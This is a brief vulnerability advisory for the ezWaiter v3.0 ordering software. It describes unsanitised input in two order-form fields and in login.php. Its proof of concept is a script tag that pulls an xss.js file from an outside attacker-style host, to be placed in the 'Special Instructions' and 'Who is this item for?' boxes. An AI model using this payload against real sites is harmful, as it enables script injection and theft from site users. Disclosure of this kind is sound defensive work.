ezWaiter30.txt

`ezWaiter v3.0  
  
Homepage:  
http://www.ezwaiter.com/  
  
Affected files:  
  
Placing an order  
login.php  
-------------------------------------------  
  
XSS vuln when placing an order:  
  
User input is not sanatized before being generated. For a PoC in the two boxes labeled  
"Who is this item for?" and "Special Instructions:"  
  
put:  
  
<SCRIPT SRC=http://youfucktard.com/xss.js></SCRIPT>  
  
The login form found on login.php can be spoofed to remove the max char limits. It too doesn't sanatize data.  
  
---------------------------------------  
`